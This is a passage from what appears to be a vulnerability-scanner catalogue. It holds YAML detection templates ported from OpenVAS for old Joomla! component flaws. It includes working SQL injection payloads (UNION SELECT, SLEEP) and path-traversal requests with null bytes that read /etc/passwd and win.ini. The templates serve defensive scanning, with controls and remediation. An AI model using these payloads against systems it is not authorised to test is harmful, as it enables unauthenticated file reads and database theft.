    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: xp_r

  # Joomla 3 shows the error HTML-escaped; accept the quote in any common
  # form, or none.
  - id: verdict-xpath
    action: script
    code: |
      if proof == "" && type_of(xp_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", xp_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)"
        description: "An unauthenticated GET to the YouTube Gallery view with SQL appended to the listid parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the Joomla! database user may run can be injected the same way, including reading the administrator accounts and their password hashes."
        remediation: "Update the YouTube Gallery component to a release later than 4.1.7, which casts listid and themeid to integers, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery with an injected listid computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1: syntax error quoting a random marker, with a
  # control request that shows no SQL error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%27{{m.tag}}&themeid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != ""'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 { "SQL syntax error quoting " + m.tag } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)"
        description: "An unauthenticated GET to the YouTube Gallery view with a single quote and a random marker in the listid parameter returned a MySQL syntax error quoting the marker, while the same view with a numeric listid showed no SQL error: the parameter is pasted into the query unescaped. Any query the Joomla! database user may run can be injected the same way."
        remediation: "Update the YouTube Gallery component to a release later than 4.1.7, which casts listid and themeid to integers, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; the same view with listid=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

Joomla! ZiMB Comment component 'controller' Local File Inclusion

CVECVE-2010-1602
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-1602.yaml

Exploits the unauthenticated local file inclusion in the Joomla! ZiMB Comment component (com_zimbcomment <= 0.8.1): a `controller=../…/etc/passwd%00` request (or `windows/win.ini%00`) either returns the file's content, or — where PHP refuses the NUL byte — makes require_once fail with an error quoting the attacker-supplied include path. A file read is reported only when the same request for an absent file in a random missing directory gets an HTTP reply without that file's content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../..…
  2. Checks zimb_passwd.banner for (?s)^HTTP/1\.[01] 200.*root:[^:\r\n]*:0:0:
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../..…
  4. Checks zimb_winini.banner for (?si)^HTTP/1\.[01] 200.*; for 16-bit app support
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../..…
  6. Parses / computes the next value with a Rhai script
  7. Checks zimb_file for ^etc/passwd$ → finding QoD 75: Joomla! ZiMB Comment LFI — /etc/passwd read (CVE-2010-1602)
  8. Checks zimb_file for ^windows/win\.ini$ → finding QoD 75: Joomla! ZiMB Comment LFI — windows/win.ini read (CVE-2010-1602)
  9. Checks zimb_passwd.banner for Fatal error(?:</b>)?:\s+(?:require_once\(\)(?: \[[^\]\r\n]*\])?|Uncau… → finding QoD 75: Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)
  10. Checks zimb_winini.banner for Fatal error(?:</b>)?:\s+(?:require_once\(\)(?: \[[^\]\r\n]*\])?|Uncau… → finding QoD 75: Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-1602.yaml
# Joomla! ZiMB Comment component — 'controller' local file inclusion (CVE-2010-1602)
#
# com_zimbcomment 0.8.1 passes the `controller` request parameter unfiltered into
#   require_once(JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
# so `controller=../../…/<file>%00` walks out of the component directory.
#
# Detection (per Joomla base path: `` and `/joomla`), strongest proof first:
#   1. File read (PHP < 5.3.4, NUL byte truncates the '.php' suffix): the response
#      carries the content of /etc/passwd (or windows/win.ini on Windows hosts).
#      Absent-file control (#2383): the same request is then sent for
#      ../…/noctis-absent-<random>/<file that was read>%00 and the read is reported
#      only when that control gets an HTTP reply without the file's signature
#      (fail closed), so a server answering every path with the same file is not
#      reported. → QoD 75, confidence 0.85.
#   2. Sink proof (PHP >= 5.3.4 refuses the NUL byte): display_errors prints the
#      require_once fatal error, and the include path it quotes contains OUR
#      traversal (`…/etc/passwd` / `…/windows/win.ini`), raised from
#      com_zimbcomment/zimbcomment.php — the request value reached the include
#      unfiltered. → QoD 75, confidence 0.75.
#
# Better than the source NASL, which only matched the fatal error and accepted
# any include path (`Failed opening required .*`): we (a) confirm a real file read
# when the host allows it, (b) require the quoted include path to carry our own
# payload, (c) accept the PHP 5.3+ docref-link and PHP 7/8 ("Uncaught Error")
# variants of the error, which the NASL's literal `require_once\(\): Failed`
# misses, and (d) also try the common `/joomla` install path.
#
# The payload carries %00, so the request is sent verbatim over HTTP/1.0 via
# tcp_connect and matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_joomla_zimbcomment_mult_vuln.nasl
# (GPL-2.0-only); traversal depth and files from that plugin / traversal_func.inc.
uid: 07918546-49db-4e38-aef2-4fad44ec8885
name: "Joomla! ZiMB Comment component 'controller' Local File Inclusion (CVE-2010-1602)"
description: |
  Exploits the unauthenticated local file inclusion in the Joomla! ZiMB Comment
  component (com_zimbcomment <= 0.8.1): a `controller=../…/etc/passwd%00` request
  (or `windows/win.ini%00`) either returns the file's content, or — where PHP
  refuses the NUL byte — makes require_once fail with an error quoting the
  attacker-supplied include path. A file read is reported only when the same
  request for an absent file in a random missing directory gets an HTTP reply
  without that file's content, so a server that answers every path with the
  same file is not reported.
cves: [CVE-2010-1602]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [openvas-migrated, joomla, joomla-zimbcomment, lfi, path-traversal, http]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1602"
  - "https://www.exploit-db.com/exploits/12283"
  - "OpenVAS NASL 2013/gb_joomla_zimbcomment_mult_vuln.nasl (GPL-2.0-only)"

steps:
  # One iteration per Joomla base path. The loop step pre-initialises the stored
  # results so a failed connect never leaves them undefined.
  - id: init-passwd
    action: set_var
    var_name: zimb_passwd
    var_value: {connected: false, banner: ""}
    loop:
      over: ["", "/joomla"]
      var: joomla_dir

  - id: init-winini
    action: set_var
    var_name: zimb_winini
    var_value: {connected: false, banner: ""}

  - id: init-ctrl
    action: set_var
    var_name: zimb_ctrl
    var_value: {connected: false, banner: ""}

  - id: init-file
    action: set_var
    var_name: zimb_file
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: zimb_clean
    var_value: false

  - id: lfi-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: zimb_passwd

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: read-passwd
    action: match
    source: zimb_passwd.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*root:[^:\\r\\n]*:0:0:"
    on_match:
      set_vars:
        zimb_file: "etc/passwd"

  - id: lfi-winini
    action: tcp_connect
    port: "{{port}}"
    condition: 'zimb_file == ""'
    send: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../windows/win.ini%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: zimb_winini

  - id: read-winini
    action: match
    source: zimb_winini.banner
    pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
    condition: 'zimb_file == ""'
    on_match:
      set_vars:
        zimb_file: "windows/win.ini"

  # ── Control: same request, absent file ──
  # A random missing directory, still ending in the file that was read, so a
  # honeypot keyed on that file name answers it too.
  - id: lfi-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'zimb_file != ""'
    send: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../noctis-absent-{{oob_token}}/{{zimb_file}}%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: zimb_ctrl

  # Fail closed: the control must have answered over HTTP, without the passwd
  # or win.ini signature.
  - id: lfi-control-verdict
    action: script
    condition: 'zimb_file != ""'
    code: |
      let b = zimb_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0:|; for 16-bit app support", b, true)
    store_as: zimb_clean

  - id: report-passwd
    action: match
    source: zimb_file
    pattern: "^etc/passwd$"
    condition: "zimb_clean == true"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — /etc/passwd read (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment was traversed to /etc/passwd with a NUL byte and the file's content came back in the page, while the same request for an absent file did not: unauthenticated arbitrary file read."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release; run a PHP version that rejects NUL bytes in paths (>= 5.3.4)."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)etc/passwd%00 returned /etc/passwd (root:…:0:0: entry); the same request for an absent file did not"
      stop: true

  - id: report-winini
    action: match
    source: zimb_file
    pattern: "^windows/win\\.ini$"
    condition: "zimb_clean == true"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — windows/win.ini read (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment was traversed to windows/win.ini with a NUL byte and the file's content came back in the page, while the same request for an absent file did not: unauthenticated arbitrary file read."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release; run a PHP version that rejects NUL bytes in paths (>= 5.3.4)."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)windows/win.ini%00 returned win.ini ('; for 16-bit app support'); the same request for an absent file did not"
      stop: true

  # Sink proof: require_once failed on OUR traversal path, inside zimbcomment.php.
  # PHP 5.2/5.3: "require_once() [<a href=…>…</a>]: Failed opening required '…' … in <b>…</b>"
  # PHP 7:       "require_once(): Failed opening required '…' … in <b>…</b>"
  # PHP 8:       "Uncaught Error: Failed opening required '…' … in /…/zimbcomment.php:23"
  - id: sink-passwd
    action: match
    source: zimb_passwd.banner
    pattern: "Fatal error(?:</b>)?:\\s+(?:require_once\\(\\)(?: \\[[^\\]\\r\\n]*\\])?|Uncaught Error): Failed opening required '[^'\\r\\n]*controllers[/\\\\]\\.\\./[^'\\r\\n]*etc/passwd'[^\\r\\n]*? in (?:<b>)?[^\\r\\n<']*com_zimbcomment[/\\\\]zimbcomment\\.php"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment reached require_once() unfiltered: the PHP fatal error quotes the traversal path sent by the scanner. PHP refused the NUL byte so no file was read here, but any .php file on the host can be included."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release, and disable display_errors in production."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)etc/passwd%00 made require_once() fail on the injected path …/controllers/../…/etc/passwd in com_zimbcomment/zimbcomment.php"
      stop: true

  - id: sink-winini
    action: match
    source: zimb_winini.banner
    pattern: "Fatal error(?:</b>)?:\\s+(?:require_once\\(\\)(?: \\[[^\\]\\r\\n]*\\])?|Uncaught Error): Failed opening required '[^'\\r\\n]*controllers[/\\\\]\\.\\./[^'\\r\\n]*windows/win\\.ini'[^\\r\\n]*? in (?:<b>)?[^\\r\\n<']*com_zimbcomment[/\\\\]zimbcomment\\.php"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment reached require_once() unfiltered: the PHP fatal error quotes the traversal path sent by the scanner. PHP refused the NUL byte so no file was read here, but any .php file on the host can be included."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release, and disable display_errors in production."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)windows/win.ini%00 made require_once() fail on the injected path …/controllers/../…/windows/win.ini in com_zimbcomment/zimbcomment.php"
      stop: true

Joomla! com_jimtawl Local File Inclusion

CVECVE-2010-4769
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-4769.yaml

Tests the Joomla! com_jimtawl component for the unauthenticated local file inclusion in its `task` parameter. A `../`-sequence payload terminated by a null byte includes a world-readable system file (/etc/passwd or win.ini / boot.ini); the leaked file content, absent from a control request for a non-existent file, confirms the vulnerability (CVE-2010-4769).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../..…
  2. Checks lfi_resp.banner for (root:.*:0:[01]:|\[boot loader\]|; for 16-bit app support)
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../..…
  4. Checks ctl_resp.banner does not match (root:.*:0:[01]:|\[boot loader\]|; for 16-bit app support) → finding QoD 75: Joomla! com_jimtawl Local File Inclusion (CVE-2010-4769)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-4769.yaml
# Joomla! com_jimtawl 'task' Local File Inclusion — CVE-2010-4769
#
# com_jimtawl 1.0.2 passes the `task` request parameter straight into a PHP
# include() of its controller file. A `../` sequence walks out of the component
# directory and a trailing %00 truncates the appended ".php" (PHP < 5.3.4), so
# an unauthenticated attacker can include — and therefore read or execute —
# any local file readable by the web server.
#
# Detection follows the source NASL:
#   GET <dir>/index.php?option=com_jimtawl&Itemid=12&task=(../ × 15)<file>%00
# for each traversal_files() entry (etc/passwd, boot.ini, winnt/win.ini,
# windows/win.ini) and looks for that file's signature in the reply. The
# leaked system file is the benign real-exploitation proof (QoD 75, response
# analysis) — nothing is written on the target.
#
# Improvements over the NASL (gb_joomla_com_jimtawl_44992.nasl):
#   * Differential control. Before reporting, the same request is replayed
#     with the traversal pointed at a file that cannot exist. A finding is
#     raised only when the real file leaks AND the control does not carry the
#     signature — a page that always shows passwd-like text (tutorial, honeypot,
#     WAF block page quoting the request) is no longer a false positive. The
#     NASL reports on the single pattern match.
#   * No product-detection dependency. The NASL only runs on the directory a
#     separate Joomla detection NVT found; this feed tries the web root and the
#     common /joomla install directory itself.
#
# The payload carries `../` and `%00`, so the request is sent verbatim over
# HTTP/1.0 via tcp_connect (reqwest would normalise the path) and matched on
# resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_com_jimtawl_44992.nasl
# (GPL-2.0-only). Request path, traversal depth and file signatures taken from
# that plugin and traversal_func.inc.
uid: 6d8a1ccd-c0a8-4e4b-b1eb-191fb66475b0
name: "Joomla! com_jimtawl Local File Inclusion (CVE-2010-4769)"
description: |
  Tests the Joomla! com_jimtawl component for the unauthenticated local file
  inclusion in its `task` parameter. A `../`-sequence payload terminated by a
  null byte includes a world-readable system file (/etc/passwd or win.ini /
  boot.ini); the leaked file content, absent from a control request for a
  non-existent file, confirms the vulnerability (CVE-2010-4769).
cves: [CVE-2010-4769]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [joomla, joomla-component, com_jimtawl, lfi, path-traversal, file-read, openvas-migrated, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4769"
  - "http://www.securityfocus.com/bid/44992"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2010/CVE-2010-4769.yaml"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_com_jimtawl_44992.nasl (GPL-2.0-only)

steps:
  # ── Per (install dir × traversal file) iteration ─────────────────────────
  # The loop group is every step down to the final match; a `stop: true`
  # finding ends it. Each iteration first resets its own state, so a hit whose
  # control failed in one iteration cannot leak into the next one.
  - id: reset-hit
    action: set_var
    var_name: lfi_hit
    var_value: false
    loop:
      over:
        - {dir: "", file: "etc/passwd"}
        - {dir: "", file: "windows/win.ini"}
        - {dir: "", file: "winnt/win.ini"}
        - {dir: "", file: "boot.ini"}
        - {dir: "/joomla", file: "etc/passwd"}
        - {dir: "/joomla", file: "windows/win.ini"}
        - {dir: "/joomla", file: "winnt/win.ini"}
        - {dir: "/joomla", file: "boot.ini"}
      var: target

  - id: reset-lfi-resp
    action: set_var
    var_name: lfi_resp
    var_value: {connected: false, banner: ""}

  - id: reset-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {connected: false, banner: ""}

  # Exploit: crap(data:"../", length:45) + file + %00, verbatim as the NASL.
  - id: lfi-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../../../../{{target.file}}%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: lfi_resp

  # traversal_files() signatures: passwd → root:.*:0:[01]:, boot.ini →
  # [boot loader], win.ini → "; for 16-bit app support".
  - id: lfi-signature
    action: match
    source: lfi_resp.banner
    pattern: "(root:.*:0:[01]:|\\[boot loader\\]|; for 16-bit app support)"
    on_match:
      set_vars:
        lfi_hit: true

  # Control: same request, traversal aimed at a file that cannot exist.
  - id: control-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../../../../noctis-nonexistent-4769.ini%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: ctl_resp
    condition: "lfi_hit == true"

  # Report only when the control reply does NOT carry the signature.
  - id: lfi-confirm
    action: match
    source: ctl_resp.banner
    pattern: "(root:.*:0:[01]:|\\[boot loader\\]|; for 16-bit app support)"
    negate: true
    condition: "lfi_hit == true && ctl_resp.connected == true"
    on_match:
      finding:
        title: "Joomla! com_jimtawl Local File Inclusion (CVE-2010-4769)"
        description: "The com_jimtawl `task` parameter included a local system file through a ../-sequence and null-byte payload, while a control request for a non-existent file did not return that content — confirming the unauthenticated local file inclusion in Joomla! com_jimtawl 1.0.2 (CVE-2010-4769). The same flaw lets an attacker execute local PHP files."
        remediation: "Remove the com_jimtawl component (no fixed release is known), or restrict `task` to known controller names; run PHP >= 5.3.4 so null bytes no longer truncate include paths."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=(../ x15){{target.file}}%00 leaked the file; control request for a non-existent file did not. Response: {{lfi_resp.banner}}"
      stop: true

Joomla! com_maianmedia cat SQL Injection

CVECVE-2010-4739
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-4739.yaml

The Maian Media component (com_maianmedia) of Joomla! pastes the cat parameter of the music view, unquoted and unchecked, into the SQL query that lists music, without authentication, and prints the returned row, allowing SQL injection (an attacker can read the whole database, including the Joomla! user accounts and password hashes).

This check requests index.php under the web root and the usual Joomla directories with option=com_maianmedia and a cat value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the value computed by the database, which never appears in the request. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php?option=com_maianmedia&view=music&cat={{sc.q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_dir for ^/ → finding QoD 75: Joomla! com_maianmedia cat SQL Injection (CVE-2010-4739)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-4739.yaml
# Joomla! com_maianmedia component — cat SQL injection — CVE-2010-4739
#
# com_maianmedia (Maian Media Silver component for Joomla!, 2010) pastes the cat request
# parameter of index.php?option=com_maianmedia&view=music into a query that selects a
# 17-column music row, unquoted and unchecked, without authentication, and prints the
# row's third column in the page.
#
# Detection, per candidate Joomla directory (web root and the usual sub-directories):
#   1. (QoD 75) index.php?option=com_maianmedia&view=music&cat=-9999 UNION ALL SELECT
#      1,2,C,4,...,17 with C = CONCAT(0x4e4f43544953,a*b,0x454e44), a and b random
#      six-digit numbers. The vulnerable page prints NOCTIS<a*b>END, a value computed by
#      the database that never appears in the request. Read-only: no table is selected
#      from and nothing is written.
#
# Better than the source NASL: the reference check selects the Joomla! user table and
# needs a default "Administrator:admin:Super Administrator:" account to match; this feed
# proves execution with an arithmetic result, reads no data, and probes the web root and
# the usual Joomla directories instead of only the directory the NASL's prior Joomla
# detection reported.
#
# Source: OpenVAS/Greenbone NVT 2011/gb_joomla_maian_media_comp_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800199, GPL-2.0-only).
uid: 3a2d28b0-85e7-435d-a327-a5822de7af7b
name: "Joomla! com_maianmedia cat SQL Injection (CVE-2010-4739)"
description: |
  The Maian Media component (com_maianmedia) of Joomla! pastes the cat parameter of the
  music view, unquoted and unchecked, into the SQL query that lists music, without
  authentication, and prints the returned row, allowing SQL injection (an attacker can
  read the whole database, including the Joomla! user accounts and password hashes).

  This check requests index.php under the web root and the usual Joomla directories with
  option=com_maianmedia and a cat value that appends a UNION SELECT of an expression
  multiplying two random numbers. The vulnerability is confirmed when the page shows the
  value computed by the database, which never appears in the request. No stored data is
  read and nothing is written.
cves: [CVE-2010-4739]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, com_maianmedia, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4739"
  # OpenVAS/Greenbone NASL 2011/gb_joomla_maian_media_comp_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q: "-9999+union+all+select+1,2," + c + ",4,5,6,7,8,9,10,11,12,13,14,15,16,17--" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/joomla", "/cms", "/portal"]

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_maianmedia&view=music&cat={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: resp

  - id: check
    action: script
    condition: 'hit_dir == "" && resp.status == 200'
    code: |
      let body = if type_of(resp.body) == "string" { resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Joomla! com_maianmedia cat SQL Injection (CVE-2010-4739)"
        description: "An unauthenticated index.php?option=com_maianmedia&view=music request whose cat value appends a UNION SELECT multiplying two random numbers returned the value computed by the database: an attacker can read the whole database, including the Joomla! user accounts and password hashes."
        remediation: "Remove or update the com_maianmedia component (no fixed release is known: uninstall it), and restrict access to the Joomla! administrator interface."
        confidence_delta: 0.45
        qod: 75
        evidence: "Joomla dir {{hit_dir}}: cat=-9999 UNION ALL SELECT 1,2,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),… printed the database-computed value {{sc.want}}"
      stop: true

Joomla! com_teams PlayerID SQL Injection

CVECVE-2010-4941
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-4941.yaml

The Teams component (com_teams 1_1028_100809_1711 and probably earlier) of Joomla! places the PlayerID field of the player save action unescaped into its SQL query without authentication, allowing blind SQL injection (an attacker can read the whole database, including the Joomla! user accounts and password hashes).

This check first confirms the component is installed under the web root or /joomla. It then sends player save requests whose PlayerID carries a SLEEP of random length in a derived table inside a false condition: a vulnerable component delays each reply by the requested time over a baseline request, for two different random delays. No table is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php?option=com_teams
  3. HTTP(S) request GET {{dir}}/index.php?option=com_noctis{{sc.s1}}none
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{dir}}/index.php with a crafted body
  6. HTTP(S) request POST {{dir}}/index.php with a crafted body
  7. HTTP(S) request POST {{dir}}/index.php with a crafted body
  8. Parses / computes the next value with a Rhai script
  9. Checks hit_dir for ^/ → finding QoD 75: Joomla! com_teams PlayerID SQL Injection (CVE-2010-4941)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-4941.yaml
# Joomla! com_teams PlayerID SQL injection (player save action) — CVE-2010-4941
#
# The Teams component (com_teams 1_1028_100809_1711) pastes the PlayerID field of its
# player save action (POST index.php, option=com_teams&controller=player&task=save) into
# a SQL query unescaped, without authentication; the injection is blind.
#
# Detection, per candidate Joomla directory (web root and /joomla):
#   0. Presence gate: index.php?option=com_teams answers 200 while a made-up component
#      answers something else (a Joomla without the component says "Component not found").
#   1. (QoD 75) time-based proof: save requests whose PlayerID is
#      -1 AND (SELECT * FROM (SELECT(SLEEP(n)))noctis)
#      a SLEEP in a derived table (evaluated once whatever the row count; the AND is
#      false, so no row is changed and nothing is written). A fast baseline (n=0) and
#      two random delays must each land in their own window, the longer reply at least
#      2 s slower than the shorter one (a tarpit adding one delay to every request fails).
#
# Better than the source NASL: it sends BENCHMARK(99999999,NULL) in an OR-ed condition
# and then only checks that its own request strings are echoed back, which any page
# reflecting the form (or an error page) satisfies and which never proves the SQL ran;
# here the delay is short, random, row-independent and measured against a baseline, and
# the component must be present.
#
# Source: OpenVAS/Greenbone NVT 2011/gb_joomla_teams_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802189, GPL-2.0-only).
uid: e517fd94-c8ea-4595-bbb1-d810993b01ce
name: "Joomla! com_teams PlayerID SQL Injection (CVE-2010-4941)"
description: |
  The Teams component (com_teams 1_1028_100809_1711 and probably earlier) of Joomla!
  places the PlayerID field of the player save action unescaped into its SQL query
  without authentication, allowing blind SQL injection (an attacker can read the whole
  database, including the Joomla! user accounts and password hashes).

  This check first confirms the component is installed under the web root or /joomla.
  It then sends player save requests whose PlayerID carries a SLEEP of random length in
  a derived table inside a false condition: a vulnerable component delays each reply by
  the requested time over a baseline request, for two different random delays. No table
  is read and nothing is written.
cves: [CVE-2010-4941]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, com_teams, sqli, time-based, php, mysql]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4941"
  - "https://www.exploit-db.com/exploits/14598"
  # OpenVAS/Greenbone NASL 2011/gb_joomla_teams_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen-proof
    action: script
    code: |
      let s1 = rand_int(6, 7);
      #{ s1: s1, s2: s1 - 3 }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # Everything below runs once per candidate directory; the finding ends the loop.
  - id: init-present
    action: set_var
    var_name: present
    var_value: false
    loop:
      var: dir
      over: ["", "/joomla"]

  - id: init-comp
    action: set_var
    var_name: comp
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-t-base
    action: set_var
    var_name: t_base
    var_value: {status: 0, duration_ms: 0}

  - id: init-t-long
    action: set_var
    var_name: t_long
    var_value: {status: 0, duration_ms: 0}

